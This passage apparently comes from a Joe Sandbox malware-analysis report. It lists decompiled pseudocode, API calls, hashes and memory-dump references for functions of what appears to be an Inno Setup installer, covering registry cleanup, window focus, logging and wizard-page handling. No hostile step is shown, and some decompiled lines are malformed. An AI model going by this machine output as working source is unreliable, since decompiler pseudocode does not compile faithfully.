RegDeleteValueA.ADVAPI32(?,00000000,?,00000002,00000000,?,?,00000000,00458775), ref: 00453EEC
RegCloseKey.ADVAPI32(00000000,?,00000000,?,00000002,00000000,?,?,00000000,00458775), ref: 00453EF5
RemoveFontResourceA.GDI32(00000000), ref: 00453F02
SendNotifyMessageA.USER32(0000FFFF,0000001D,00000000,00000000), ref: 00453F16

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: CloseDeleteFontMessageNotifyOpenRemoveResourceSendValue
String ID:
API String ID: 4283692357-0
Opcode ID: db28e9a48c63d11007079e1c9041e9b1027b7f887feb080b760cdd44dd87aecd
Instruction ID: 5a19bb75b35b1d8e01697aa632786c99bd0a25d7aaca8bddf380f17a9d408612
Opcode Fuzzy Hash: db28e9a48c63d11007079e1c9041e9b1027b7f887feb080b760cdd44dd87aecd
Instruction Fuzzy Hash: DBF054B575431076EA14B6B69C87F1B128C8F88745F10483EBA01EB1C3D57CDD04572D

Uniqueness

Uniqueness Score: -1.00%

Function 00474164 Relevance: 6.0, APIs: 4, Instructions: 35
sleepCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E00474164(intOrPtr __eax, void* __ecx, void* __edx, void* __eflags) {
				signed int _t3;
				long _t7;
				signed int _t11;
				void* _t16;
				void* _t17;
				intOrPtr* _t18;

				_t19 = __eflags;
				_push(__ecx);
				_t16 = __ecx;
				_t17 = __edx;
				 *_t18 = __eax;
				while(1) {
					_t3 = E00450D4C( *_t18, _t17, _t19);
					asm("sbb ebx, ebx");
					_t11 =  ~( ~_t3);
					if(_t11 != 0 || GetLastError() == 2 || GetLastError() == 3) {
						break;
					}
					_t7 = GetTickCount();
					_t19 = _t7 - _t16 - 0x7d0;
					if(_t7 - _t16 < 0x7d0) {
						Sleep(0x32);
						continue;
					}
					break;
				}
				return _t11;
			}

0x00474164
0x00474167
0x00474168
0x0047416a
0x0047416c
0x0047416f
0x00474174
0x0047417d
0x0047417f
0x00474183
0x00000000
0x00000000
0x00474199
0x004741a0
0x004741a5
0x004741a9
0x00000000
0x004741a9
0x00000000
0x004741a5
0x004741b6

APIs

GetLastError.KERNEL32 ref: 00474185
GetLastError.KERNEL32 ref: 0047418F
GetTickCount.KERNEL32 ref: 00474199
Sleep.KERNEL32(00000032), ref: 004741A9

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: ErrorLast$CountSleepTick
String ID:
API String ID: 2227064392-0
Opcode ID: bb56d98dc97c529e956ffa09878071fb839475a01bbb137acb25475f2bee5548
Instruction ID: 12ded6a52e16fbe71fc8423c8a03cbcea923c8fd41db68bb87c4b622ddffe9b0
Opcode Fuzzy Hash: bb56d98dc97c529e956ffa09878071fb839475a01bbb137acb25475f2bee5548
Instruction Fuzzy Hash: 98E0E52130A11085C72031AE688A9BF6A88CAE1324B18853FF0CDD6242C91C4C45852E

Uniqueness

Uniqueness Score: -1.00%

Function 00424224 Relevance: 6.0, APIs: 4, Instructions: 26
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00424224(void* __eax) {
				struct HWND__* _t4;
				void* _t6;
				struct HWND__* _t7;

				_t6 = __eax;
				_t4 =  *(__eax + 0x20);
				if(_t4 != 0) {
					_t4 = GetLastActivePopup(_t4);
					_t7 = _t4;
					if(_t7 != 0 && _t7 !=  *((intOrPtr*)(_t6 + 0x20))) {
						_t4 = IsWindowVisible(_t7);
						if(_t4 != 0) {
							_t4 = IsWindowEnabled(_t7);
							if(_t4 != 0) {
								return SetForegroundWindow(_t7);
							}
						}
					}
				}
				return _t4;
			}

0x00424226
0x00424228
0x0042422d
0x00424230
0x00424235
0x00424239
0x00424241
0x00424248
0x0042424b
0x00424252
0x00000000
0x00424255
0x00424252
0x00424248
0x00424239
0x0042425c

APIs

GetLastActivePopup.USER32(?), ref: 00424230
IsWindowVisible.USER32 ref: 00424241
IsWindowEnabled.USER32(?), ref: 0042424B
SetForegroundWindow.USER32(?,?,?,?,?,00488A18,00000000,00489187), ref: 00424255

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: Window$ActiveEnabledForegroundLastPopupVisible
String ID:
API String ID: 2280970139-0
Opcode ID: 66eaf79e65ca4ea0e7ac17de12a2cbdda6b479aec23822bf5989b5b8de2818db
Instruction ID: 5eff8a0874282e956bf62455a0d13f95e5f7646420470d1771721f59a762a120
Opcode Fuzzy Hash: 66eaf79e65ca4ea0e7ac17de12a2cbdda6b479aec23822bf5989b5b8de2818db
Instruction Fuzzy Hash: 77E08691702531969A257B27184299B128CADC93C534601A7BE26F7243DB1CCC0441BC

Uniqueness

Uniqueness Score: -1.00%

Function 00464DF4 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 247
windowCOMMON

Download Yara Rule

C-Code - Quality: 85%

			E00464DF4(intOrPtr __eax, void* __ecx, intOrPtr __edx, void* __eflags, void* __fp0) {
				intOrPtr _v8;
				char _v12;
				char _v16;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t130;
				intOrPtr _t150;
				intOrPtr _t172;
				void* _t182;
				void* _t209;
				void* _t214;
				void* _t215;
				int _t216;
				void* _t218;
				int _t230;
				intOrPtr _t234;
				intOrPtr _t235;
				intOrPtr _t236;
				intOrPtr _t239;
				intOrPtr _t240;
				intOrPtr _t243;
				intOrPtr _t244;
				intOrPtr _t245;
				intOrPtr _t246;
				intOrPtr _t247;
				signed int _t248;
				void* _t257;
				intOrPtr _t260;
				void* _t281;

				_t281 = __fp0;
				_t218 = __ecx;
				_t256 = __edx;
				_v8 = __eax;
				_t258 = E0046340C(_v8, _t214, __edx, __edx, _t257);
				_t215 = E0040B420( *((intOrPtr*)(_v8 + 0x2ec)), _t95);
				 *((intOrPtr*)(_v8 + 0x340)) = __edx;
				_t100 =  *((intOrPtr*)(_t215 + 0x28));
				if( *((intOrPtr*)(_t215 + 0x28)) != 0) {
					E0045FCB4( *((intOrPtr*)(_v8 + 0x1c4)), _t218, _t100);
				}
				E0045FCB4( *((intOrPtr*)(_v8 + 0x1c0)), _t218,  *((intOrPtr*)(_t215 + 0x24)));
				E004619E8(_t215);
				if( *0x48fb88 == 0) {
					L5:
					_t230 = 0;
					goto L7;
				} else {
					_t209 =  *((intOrPtr*)(_v8 + 0x340)) - 1;
					if(_t209 == 0 || _t209 == 0xd) {
						goto L5;
					} else {
						_t230 = 1;
						L7:
						E00414A28( *((intOrPtr*)(_v8 + 0x280)), _t218, _t230, _t256);
						if(( *(_t215 + 0x5c) & 0x00000002) != 0) {
							E00414A28( *((intOrPtr*)(_v8 + 0x1bc)), _t218, 0, _t256);
							E00414A28( *((intOrPtr*)(_v8 + 0x1b8)), _t218, 0, _t256);
							_t233 = 0;
							__eflags = 0;
							E00414A28( *((intOrPtr*)(_v8 + 0x1b4)), _t218, 0, _t256);
						} else {
							_t172 = _v8;
							_t267 =  *((intOrPtr*)(_t172 + 0x340)) - 0xc;
							if( *((intOrPtr*)(_t172 + 0x340)) == 0xc || E00464DA8(_v8, _t267, _t281) + 1 == 0) {
								_t248 = 0;
							} else {
								_t248 = 1;
							}
							E00414A28( *((intOrPtr*)(_v8 + 0x1bc)), _t218, _t248, _t256);
							E00414A28( *((intOrPtr*)(_v8 + 0x1b8)), _t218, _t248 & 0xffffff00 |  *((intOrPtr*)(_v8 + 0x340)) != 0x0000000c, _t256);
							_t182 =  *((intOrPtr*)(_v8 + 0x340)) - 2;
							if(_t182 == 0) {
								E00414A64( *((intOrPtr*)(_v8 + 0x1b8)),  *((intOrPtr*)( *((intOrPtr*)(_v8 + 0x2a0)) + 0x101)));
							} else {
								if(_t182 == 9) {
									E00414A64( *((intOrPtr*)(_v8 + 0x1b8)), 0);
								} else {
									E00414A64( *((intOrPtr*)(_v8 + 0x1b8)), 1);
								}
							}
							E00414A28( *((intOrPtr*)(_v8 + 0x1b4)), _t218, 0 | _t258 - E0046340C(_v8, _t215, 0xc, _t256, _t258) <= 0x00000000, _t256);
							if( *((intOrPtr*)(_v8 + 0x340)) != 0xc || ( *0x490160 & 0x00000020) != 0 &&  *0x48ff98 == 0) {
								_t233 = 1;
							} else {
								_t233 = 0;
							}
							E00414A64( *((intOrPtr*)(_v8 + 0x1b4)), _t233);
						}
						if(E00418134( *((intOrPtr*)(_v8 + 0x1b4)), _t233) == 0) {
							_t216 = 1;
						} else {
							_t216 = 0;
						}
						_t217 = _t216;
						EnableMenuItem(GetSystemMenu(E004181C4(_v8), 0), 0xf060, _t216);
						_t234 =  *0x48fb94; // 0x2309f24
						E00414AFC( *((intOrPtr*)(_v8 + 0x1bc)), _t216, _t234, _t256, _t258);
						_t130 =  *((intOrPtr*)(_v8 + 0x340)) - 0xa;
						if(_t130 == 0) {
							_t235 =  *0x48fba4; // 0x2309f78
							E00414AFC( *((intOrPtr*)(_v8 + 0x1b8)), _t217, _t235, _t256, _t258);
							_t236 =  *0x48fb9c; // 0x2309f50
							E00414AFC( *((intOrPtr*)(_v8 + 0x1b4)), _t217, _t236, _t256, _t258);
						} else {
							if(_t130 == 4) {
								_t244 =  *0x48fba0; // 0x2309f64
								E00414AFC( *((intOrPtr*)(_v8 + 0x1b8)), _t217, _t244, _t256, _t258);
								_t245 =  *0x48fb9c; // 0x2309f50
								E00414AFC( *((intOrPtr*)(_v8 + 0x1b4)), _t217, _t245, _t256, _t258);
							} else {
								_t246 =  *0x48fbac; // 0x2309fb0
								E00414AFC( *((intOrPtr*)(_v8 + 0x1b8)), _t217, _t246, _t256, _t258);
								_t247 =  *0x48fb9c; // 0x2309f50
								E00414AFC( *((intOrPtr*)(_v8 + 0x1b4)), _t217, _t247, _t256, _t258);
							}
						}
						E00464D48(_v8, _t256);
						if( *((intOrPtr*)(_v8 + 0x340)) == 5) {
							_push(0x4650d5);
							_push( *[fs:eax]);
							 *[fs:eax] = _t260;
							E00414A64( *((intOrPtr*)(_v8 + 0x1b8)), E004614AC(_v8, _t217, _t256, _t258, _t281));
							_pop(_t243);
							 *[fs:eax] = _t243;
						}
						_push(_t259);
						_push(0x46512a);
						_push( *[fs:eax]);
						 *[fs:eax] = _t260;
						 *((intOrPtr*)( *((intOrPtr*)(E004634D0(_v8,  *((intOrPtr*)(_v8 + 0x340)), _t256))) + 0x28))();
						_pop(_t239);
						 *[fs:eax] = _t239;
						_push(_t259);
						_push(0x465188);
						_push( *[fs:eax]);
						 *[fs:eax] = _t260;
						_t280 =  *0x49027c;
						if( *0x49027c != 0) {
							_v16 =  *((intOrPtr*)(_v8 + 0x340));
							_v12 = 0;
							_t150 =  *0x49027c; // 0x2329f3c
							E0048A06C(_t150,  &_v16, "CurPageChanged", _t280, _t281, 0, 0);
						}
						_pop(_t240);
						 *[fs:eax] = _t240;
						return 0;
					}
				}
			}

0x00464df4
0x00464df4
0x00464dfd
0x00464dff
0x00464e0c
0x00464e1e
0x00464e23
0x00464e29
0x00464e2e
0x00464e3b
0x00464e3b
0x00464e4c
0x00464e53
0x00464e5f
0x00464e74
0x00464e74
0x00000000
0x00464e61
0x00464e6a
0x00464e6d
0x00000000
0x00464e78
0x00464e78
0x00464e7a
0x00464e83
0x00464e8c
0x00464f8d
0x00464f9d
0x00464fa2
0x00464fa2
0x00464fad
0x00464e92
0x00464e92
0x00464e95
0x00464e9c
0x00464ea9
0x00464ead
0x00464ead
0x00464ead
0x00464eb8
0x00464ed3
0x00464ee1
0x00464ee4
0x00464f05
0x00464ee6
0x00464ee9
0x00464f17
0x00464eeb
0x00464f29
0x00464f29
0x00464ee9
0x00464f49
0x00464f58
0x00464f70
0x00464f6c
0x00464f6c
0x00464f6c
0x00464f7b
0x00464f7b
0x00464fc2
0x00464fc8
0x00464fc4
0x00464fc4
0x00464fc4
0x00464fcd
0x00464fe7
0x00464fec
0x00464ffb
0x00465009
0x0046500c
0x00465015
0x00465024
0x00465029
0x00465038
0x0046500e
0x00465011
0x0046503f
0x0046504e
0x00465053
0x00465062
0x00465013
0x00465069
0x00465078
0x0046507d
0x0046508c
0x0046508c
0x00465011
0x00465094
0x004650a3
0x004650a8
0x004650ad
0x004650b0
0x004650c6
0x004650cd
0x004650d0
0x004650d0
0x004650fe
0x004650ff
0x00465104
0x00465107
0x0046511d
0x00465122
0x00465125
0x00465143
0x00465144
0x00465149
0x0046514c
0x0046514f
0x00465156
0x00465165
0x00465168
0x00465174
0x00465179
0x00465179
0x00465180
0x00465183
0x00000000
0x00465183
0x00464e6d

APIs

GetSystemMenu.USER32(00000000,00000000,0000F060,00000001), ref: 00464FE1
EnableMenuItem.USER32 ref: 00464FE7

Strings

CurPageChanged, xrefs: 0046516F

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: Menu$EnableItemSystem
String ID: CurPageChanged
API String ID: 3692539535-2490978513
Opcode ID: bdf5d7193eb703e828c04a7f03339f84eb26215ce4023d3844ad8decf8ba5e5f
Instruction ID: 73e123d7b048144e5044711a2fba28884cd8e662dddc32558297862f60887793
Opcode Fuzzy Hash: bdf5d7193eb703e828c04a7f03339f84eb26215ce4023d3844ad8decf8ba5e5f
Instruction Fuzzy Hash: 6FA10734700204DFCB55DB69D985AAD73F5BF89304F2640BAF8049B362EB39AE41DB49

Uniqueness

Uniqueness Score: -1.00%

Function 00455348 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 109
timeCOMMON

Download Yara Rule

C-Code - Quality: 79%

			E00455348(intOrPtr __eax, void* __ebx, void* __edi, void* __esi) {
				intOrPtr _v8;
				struct _SYSTEMTIME _v24;
				char _v28;
				char _v32;
				signed int _v36;
				char _v40;
				signed int _v44;
				char _v48;
				signed int _v52;
				char _v56;
				signed int _v60;
				char _v64;
				signed int _v68;
				char _v72;
				signed int _v76;
				intOrPtr* _t72;
				intOrPtr* _t76;
				void* _t82;
				intOrPtr _t95;
				intOrPtr _t97;
				void* _t101;
				void* _t104;
				void* _t106;
				void* _t107;
				intOrPtr _t108;

				_t106 = _t107;
				_t108 = _t107 + 0xffffffb8;
				_v28 = 0;
				_v8 = __eax;
				_push(_t106);
				_push(0x4554cf);
				_push( *[fs:eax]);
				 *[fs:eax] = _t108;
				if( *0x48ff00 != 0) {
					GetLocalTime( &_v24);
					_push(_t106);
					_push(0x455472);
					_push( *[fs:eax]);
					 *[fs:eax] = _t108;
					_v76 = _v24.wYear & 0x0000ffff;
					_v72 = 0;
					_v68 = _v24.wMonth & 0x0000ffff;
					_v64 = 0;
					_v60 = _v24.wDay & 0x0000ffff;
					_v56 = 0;
					_v52 = _v24.wHour & 0x0000ffff;
					_v48 = 0;
					_v44 = _v24.wMinute & 0x0000ffff;
					_v40 = 0;
					_v36 = _v24.wSecond & 0x0000ffff;
					_v32 = 0;
					E0040788C("%.4u-%.2u-%.2u %.2u:%.2u:%.2u   ", 5,  &_v76,  &_v28);
					E0045532C(_v28);
					_t101 = 1;
					_t104 = E0040358C(_v8);
					if(_t104 > 0) {
						_t82 = 1;
						do {
							if( *((char*)(_v8 + _t82 - 1)) == 0xa) {
								_t76 =  *0x48ff00; // 0x0
								 *((intOrPtr*)( *_t76 + 0x10))();
								_t33 = _t82 + 1; // 0x2
								_t101 = _t33;
								E0045532C("                      ");
							}
							_t82 = _t82 + 1;
							_t104 = _t104 - 1;
						} while (_t104 != 0);
					}
					if(_t101 <= E0040358C(_v8)) {
						E0040358C(_v8);
						_t72 =  *0x48ff00; // 0x0
						 *((intOrPtr*)( *_t72 + 0x10))();
					}
					E0045532C(0x455534);
					_pop(_t97);
					 *[fs:eax] = _t97;
				}
				if( *0x48fee8 != 0) {
					E00454CE0(_v8);
				}
				_pop(_t95);
				 *[fs:eax] = _t95;
				_push(E004554D6);
				return E00403418( &_v28);
			}

0x00455349
0x0045534b
0x00455353
0x00455356
0x0045535b
0x0045535c
0x00455361
0x00455364
0x0045536e
0x00455378
0x0045537f
0x00455380
0x00455385
0x00455388
0x00455393
0x00455396
0x0045539e
0x004553a1
0x004553a9
0x004553ac
0x004553b4
0x004553b7
0x004553bf
0x004553c2
0x004553ca
0x004553cd
0x004553de
0x004553e6
0x004553eb
0x004553f8
0x004553fc
0x004553fe
0x00455403
0x0045540b
0x00455419
0x00455420
0x00455423
0x00455423
0x0045542b
0x0045542b
0x00455430
0x00455431
0x00455431
0x00455403
0x0045543e
0x00455443
0x00455454
0x0045545b
0x0045545b
0x00455463
0x0045546a
0x0045546d
0x0045546d
0x004554af
0x004554b4
0x004554b4
0x004554bb
0x004554be
0x004554c1
0x004554ce

APIs

GetLocalTime.KERNEL32(0048DC69,00000000,004554CF,?,?,00000000,0048F628,?,00473FBC,00000000,004740D7,?,?,00000000,0048F628,00000000), ref: 00455378

Strings

, xrefs: 00455426
%.4u-%.2u-%.2u %.2u:%.2u:%.2u , xrefs: 004553D9

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: LocalTime
String ID: $%.4u-%.2u-%.2u %.2u:%.2u:%.2u
API String ID: 481472006-3002923774
Opcode ID: fd87415d760af0d7319028329decfea042fa4f328fee7753221da96d8acd4982
Instruction ID: 181f1faefe31f5a493d1aa1befc055b8f813f7f7130add50f950edd0bfb78ac3
Opcode Fuzzy Hash: fd87415d760af0d7319028329decfea042fa4f328fee7753221da96d8acd4982
Instruction Fuzzy Hash: FE41B070904A08AFCB11DFA9D8517BDBBF4EF49306F11007AEC00A7292D7389D49CB68

Uniqueness

Uniqueness Score: -1.00%

Function 004668E4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 86
COMMON

Download Yara Rule

C-Code - Quality: 73%

			E004668E4(intOrPtr __eax, void* __ebx, void* __ecx, void* __edi, void* __esi) {
				intOrPtr _v8;
				intOrPtr _v12;
				char _v16;
				void* _t30;
				intOrPtr _t38;
				intOrPtr _t43;
				intOrPtr _t45;
				intOrPtr _t48;
				intOrPtr _t65;
				void* _t70;
				void* _t71;
				intOrPtr _t72;

				_t68 = __esi;
				_t67 = __edi;
				_t60 = __ecx;
				_t59 = __ebx;
				_t70 = _t71;
				_t72 = _t71 + 0xfffffff4;
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_t64 = 0;
				_v16 = 0;
				_v8 = __eax;
				_push(_t70);
				_push(0x466a2d);
				_push( *[fs:eax]);
				 *[fs:eax] = _t72;
				L1:
				while(1) {
					do {
						if( *((intOrPtr*)(_v8 + 0x340)) == 0xb) {
							E00461124(0x78,  &_v16);
							_t60 = 3;
							_t64 = 0;
							E00475DF4(_v16, _t59, 3, 0, _t67, _t68, 1, 1, 0);
							E00408B78();
						}
						_v12 =  *((intOrPtr*)(_v8 + 0x340));
						_push(_t70);
						_push(0x466978);
						_push( *[fs:eax]);
						 *[fs:eax] = _t72;
						_t30 = E00418134( *((intOrPtr*)(_v8 + 0x1b8)), _t64);
						_t76 = _t30;
						if(_t30 != 0) {
							_t59 = 0xfff5;
							E00402C18( *((intOrPtr*)(_v8 + 0x1b8)), 0xfff5, _t60, _t76);
						}
						_pop(_t64);
						_pop(_t60);
						 *[fs:eax] = _t64;
						if( *((char*)(_v8 + 0x33c)) == 0) {
							goto L7;
						}
						L11:
						__eflags = 0;
						_pop(_t65);
						 *[fs:eax] = _t65;
						_push(E00466A34);
						return E00403418( &_v16);
						L7:
					} while ( *((intOrPtr*)(_v8 + 0x340)) != _v12);
					_t38 =  *0x48ff68; // 0x2341288
					if( *((char*)(_t38 + 0x1b6)) > 1) {
						E00455348("Failed to proceed to next wizard page; showing wizard.", _t59, _t67, _t68);
						E00475578(1);
						_t43 =  *0x48f628; // 0x22f2410
						E004241C0(_t43);
						_t45 =  *0x48f628; // 0x22f2410
						SetActiveWindow( *(_t45 + 0x20));
						_t48 =  *0x48ff3c; // 0x23415cc
						E00422DE8(_t48);
					} else {
						E00455348("Failed to proceed to next wizard page; aborting.", _t59, _t67, _t68);
						E00408B78();
						continue;
					}
					goto L11;
				}
			}

0x004668e4
0x004668e4
0x004668e4
0x004668e4
0x004668e5
0x004668e7
0x004668ea
0x004668eb
0x004668ec
0x004668ed
0x004668ef
0x004668f2
0x004668f7
0x004668f8
0x004668fd
0x00466900
0x00000000
0x00466903
0x00466903
0x0046690d
0x0046691a
0x00466922
0x00466924
0x00466926
0x0046692b
0x0046692b
0x00466939
0x0046693e
0x0046693f
0x00466944
0x00466947
0x00466953
0x00466958
0x0046695a
0x00466965
0x00466969
0x00466969
0x00466970
0x00466972
0x00466973
0x004669ae
0x00000000
0x00000000
0x00466a17
0x00466a17
0x00466a19
0x00466a1c
0x00466a1f
0x00466a2c
0x004669b0
0x004669b9
0x004669c2
0x004669ce
0x004669e9
0x004669f0
0x004669f5
0x004669fa
0x004669ff
0x00466a08
0x00466a0d
0x00466a12
0x004669d0
0x004669d5
0x004669da
0x00000000
0x004669da
0x00000000
0x004669ce

Strings

Failed to proceed to next wizard page; showing wizard., xrefs: 004669E4
Failed to proceed to next wizard page; aborting., xrefs: 004669D0

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID:
String ID: Failed to proceed to next wizard page; aborting.$Failed to proceed to next wizard page; showing wizard.
API String ID: 0-1974262853
Opcode ID: f60768d55020391e8387528d05b0849c9bfb1565251ebea30e5bac66ebeee771
Instruction ID: 0d8be114483272257ae73b946d8ae1e349dfea27ea3b44e1ced370de32ae349c
Opcode Fuzzy Hash: f60768d55020391e8387528d05b0849c9bfb1565251ebea30e5bac66ebeee771
Instruction Fuzzy Hash: B031C470A04244AFD701EBA5C845E9D77F4EF49704F6684BAF804AB351E778AD44CB19

Uniqueness

Uniqueness Score: -1.00%

Function 00402584 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 70
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E00402584(intOrPtr __eax, void* __edx) {
				intOrPtr _v8;
				void* __ecx;
				void* __ebp;
				intOrPtr _t24;
				intOrPtr _t34;
				intOrPtr _t37;
				void* _t40;
				intOrPtr _t43;
				intOrPtr _t45;

				_t43 = _t45;
				_t40 = __edx;
				_t24 = __eax;
				if( *0x48f419 != 0 || E004019CC() != 0) {
					_push(_t43);
					_push("\xef\xbf					_push( *[fs:edx]);
					 *[fs:edx] = _t45;
					if( *0x48f036 != 0) {
						_push(0x48f420);
						L00401328();
					}
					if(E004023B4(_t24, _t40) == 0) {
						_t37 = E00402088(_t40);
						_t14 = ( *(_t24 - 4) & 0x7ffffffc) - 4;
						if(_t40 < ( *(_t24 - 4) & 0x7ffffffc) - 4) {
							_t14 = _t40;
						}
						if(_t37 != 0) {
							E00402738(_t24, _t14, _t37);
							E00402210(_t24);
						}
						_v8 = _t37;
					} else {
						_v8 = _t24;
					}
					_pop(_t34);
					 *[fs:eax] = _t34;
					_push(E0040263D);
					if( *0x48f036 != 0) {
						_push(0x48f420);
						L00401330();
						return 0;
					}
					return 0;
				} else {
					_v8 = 0;
					return _v8;
				}
			}

0x00402585
0x0040258b
0x0040258d
0x00402596
0x004025ad
0x004025ae
0x004025b3
0x004025b6
0x004025c0
0x004025c2
0x004025c7
0x004025c7
0x004025d7
0x004025e5
0x004025f3
0x004025f8
0x004025fa
0x004025fa
0x004025fe
0x00402606
0x0040260d
0x0040260d
0x00402612
0x004025d9
0x004025d9
0x004025d9
0x00402617
0x0040261a
0x0040261d
0x00402629
0x0040262b
0x00402630
0x00000000
0x00402630
0x00402635
0x004025a1
0x004025a3
0x00402645
0x00402645

APIs

RtlEnterCriticalSection.KERNEL32(0048F420,00000000,A), ref: 004025C7
RtlLeaveCriticalSection.KERNEL32(0048F420,0040263D), ref: 00402630

Part of subcall function 004019CC: RtlInitializeCriticalSection.KERNEL32(0048F420,00000000,00401A82,?,?,0040222E,02358548,?,00000000,?,?,00401C49,00401C5E,00401DA2), ref: 004019E2
Part of subcall function 004019CC: RtlEnterCriticalSection.KERNEL32(0048F420,0048F420,00000000,00401A82,?,?,0040222E,02358548,?,00000000,?,?,00401C49,00401C5E,00401DA2), ref: 004019F5
Part of subcall function 004019CC: LocalAlloc.KERNEL32(00000000,00000FF8,0048F420,00000000,00401A82,?,?,0040222E,02358548,?,00000000,?,?,00401C49,00401C5E,00401DA2), ref: 00401A1F
Part of subcall function 004019CC: RtlLeaveCriticalSection.KERNEL32(0048F420,00401A89,00000000,00401A82,?,?,0040222E,02358548,?,00000000,?,?,00401C49,00401C5E,00401DA2), ref: 00401A7C

Strings

A, xrefs: 004025AE

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocInitializeLocal
String ID: A
API String ID: 2227675388-3984982982
Opcode ID: a27a0674c7f751b9b42841d45ffee4faaab26c987a54b841b3fb498924493a35
Instruction ID: 5df7d67c1615c52c03ce927135b27d51951973f0bdb8931f617d2c305985a5b3
Opcode Fuzzy Hash: a27a0674c7f751b9b42841d45ffee4faaab26c987a54b841b3fb498924493a35
Instruction Fuzzy Hash: 7911E231B042046EE711AB7D5E1961B6AD49795758B24087FF404F32D2D9BD8C06835C

Uniqueness

Uniqueness Score: -1.00%

Function 00446974 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 64
COMMON

Download Yara Rule

C-Code - Quality: 49%

			E00446974(intOrPtr* __eax, void* __ebx, char* __ecx, char __edx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr* _v8;
				char _v9;
				char _v20;
				char _v24;
				char _v76;
				intOrPtr _v80;
				intOrPtr _v84;
				intOrPtr* _t22;
				intOrPtr _t26;
				char* _t33;
				intOrPtr _t42;
				void* _t48;
				void* _t49;
				intOrPtr _t50;

				_t48 = _t49;
				_t50 = _t49 + 0xffffffb0;
				_v80 = 0;
				_v84 = 0;
				_t33 = __ecx;
				_v9 = __edx;
				_v8 = __eax;
				_push(_t48);
				_push(0x446cfd);
				_push( *[fs:eax]);
				 *[fs:eax] = _t50;
				E00402934( &_v76, 0x20);
				_v24 = E00403CBC(_t33);
				_push(_t48);
				_push(0x446a2c);
				_push( *[fs:eax]);
				 *[fs:eax] = _t50;
				if(_v8 == 0) {
					E00408BA4("NIL Interface Exception", 1);
					E00403134();
				}
				_push( &_v20);
				_push(0x800);
				_push(1);
				_push( &_v24);
				_push(0x48e734);
				_t22 = _v8;
				_push(_t22);
				if( *((intOrPtr*)( *_t22 + 0x14))() != 0) {
					E00408BA4("Unknown Method", 1);
					E00403134();
				}
				_pop(_t42);
				 *[fs:eax] = _t42;
				_push(0x446a33);
				_t26 = _v24;
				_push(_t26);
				L0042CB7C();
				return _t26;
			}

0x00446975
0x00446977
0x0044697f
0x00446982
